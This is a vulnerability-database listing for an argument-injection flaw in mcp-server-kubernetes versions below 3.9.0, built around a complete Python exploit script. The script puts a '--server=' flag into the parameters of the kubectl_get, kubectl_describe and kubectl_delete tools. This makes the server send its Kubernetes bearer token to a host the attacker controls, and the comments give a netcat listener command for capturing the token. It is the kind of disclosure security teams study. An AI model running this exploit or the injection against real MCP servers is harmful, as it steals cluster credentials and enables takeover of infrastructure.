π mcp-server-kubernetes 3.8.x Argument Injection
ποΈΒ 11 Aug 2026Β 00:00:00Reported byΒ Mohammed Idrees BanyamerTypeΒ
Β packetstormπΒ packetstorm.newsπΒ 10Β Views
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2026-61459 | 10 Jul 202618:34 | β | attackerkb | |
| CVE-2026-61459 | 10 Jul 202620:00 | β | circl | |
| CVE-2026-61459 | 10 Jul 202618:34 | β | cve | |
| CVE-2026-61459 MCP Server Kubernetes < 3.9.0 Argument Injection via kubectl Structured Tools | 10 Jul 202618:34 | β | cvelist | |
| mcp-server-kubernetes 3.8.x - Argument Injection | 11 Aug 202600:00 | β | exploitdb | |
| EUVD-2026-42987 | 10 Jul 202618:34 | β | euvd | |
| mcp-server-kubernetes argument injection can expose Kubernetes cluster credentials | 10 Jul 202621:32 | β | github | |
| CVE-2026-61459 | 10 Jul 202619:17 | β | nvd | |
| GHSA-WMG3-H8MF-WGVR mcp-server-kubernetes argument injection can expose Kubernetes cluster credentials | 10 Jul 202621:32 | β | osv | |
| PT-2026-57272 | 10 Jul 202600:00 | β | ptsecurity |
10
#!/usr/bin/env python3
# Exploit Title: mcp-server-kubernetes 3.8.x - Argument Injection
# CVE: CVE-2026-61459
# Date: 2026-07-13
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://github.com/Flux159/mcp-server-kubernetes
# Software Link: https://github.com/Flux159/mcp-server-kubernetes
# Affected: mcp-server-kubernetes < 3.9.0
# Tested on: mcp-server-kubernetes <= 3.8.x
# Category: Remote
# Platform: Linux
# Exploit Type: Argument Injection
# CVSS: 9.3
# Description: Argument injection via resourceType/name parameters in kubectl_get, kubectl_describe, and kubectl_delete tools allowing --server flag injection and bearer token exfiltration.
# Fixed in: 3.9.0
# Usage:
# python3 exploit.py
#
# Examples:
# python3 exploit.py --target http://localhost:8080 --attacker http://attacker:6443
#
# Options:
# --target MCP Server URL (JSON-RPC endpoint)
# --attacker Attacker-controlled Kubernetes API server URL
#
# Notes:
# β’ Requires access to call MCP tools (e.g. via Claude Desktop / Cursor / custom client)
# β’ Listener on attacker server (nc -lvnp 6443) will capture Authorization header with bearer token
#
# How to Use
#
# Step 1:
# Start listener: nc -lvnp 6443
#
# Step 2:
# Run exploit with attacker URL
def banner():
print(r"""
ββββββββ ββββββ ββββ ββββββ βββ ββββββ ββββ ββββββββββββββββββββ
ββββββββββββββββββββββ βββββββ βββββββββββββββββ βββββββββββββββββββββ
βββββββββββββββββββββββ βββ βββββββ βββββββββββββββββββββββββ ββββββββ
βββββββββββββββββββββββββββ βββββ βββββββββββββββββββββββββ ββββββββ
ββββββββββββ ββββββ ββββββ βββ βββ ββββββ βββ ββββββββββββββ βββ
βββββββ βββ ββββββ βββββ βββ βββ ββββββ ββββββββββββββ βββ
βββ Banyamer Security βββ
""")
import requests
import json
import argparse
import sys
def main():
banner()
parser = argparse.ArgumentParser(description="CVE-2026-61459 PoC - MCP Server Kubernetes Argument Injection")
parser.add_argument("--target", required=True, help="MCP Server JSON-RPC endpoint URL (e.g. http://localhost:8080/mcp)")
parser.add_argument("--attacker", required=True, help="Attacker Kubernetes API server URL (e.g. http://attacker.example.com:6443)")
parser.add_argument("--tool", default="kubectl_get", choices=["kubectl_get", "kubectl_describe", "kubectl_delete"], help="Tool to exploit")
parser.add_argument("--namespace", default="default", help="Kubernetes namespace")
args = parser.parse_args()
# Malicious payload - inject --server via resourceType
payload = {
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": args.tool,
"arguments": {
"resourceType": f"--server={args.attacker}",
"name": "dummy-pod",
"namespace": args.namespace,
"output": "json"
}
},
"id": 1
}
print(f"[+] Sending exploit to {args.target} using {args.tool}")
print(f"[+] Attacker server: {args.attacker}")
print("[+] Waiting for token exfiltration...")
try:
response = requests.post(
args.target,
json=payload,
headers={"Content-Type": "application/json"},
timeout=10
)
print(f"[+] Response status: {response.status_code}")
if response.status_code == 200:
print("[+] Exploit sent successfully. Check your listener for the bearer token!")
else:
print(f"[-] Unexpected response: {response.text[:500]}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 exploit.py --target <MCP_URL> --attacker <ATTACKER_URL>")
sys.exit(1)
main()Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Aug 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 49.3
CVSS 3.19.8
EPSS0.01516
SSVC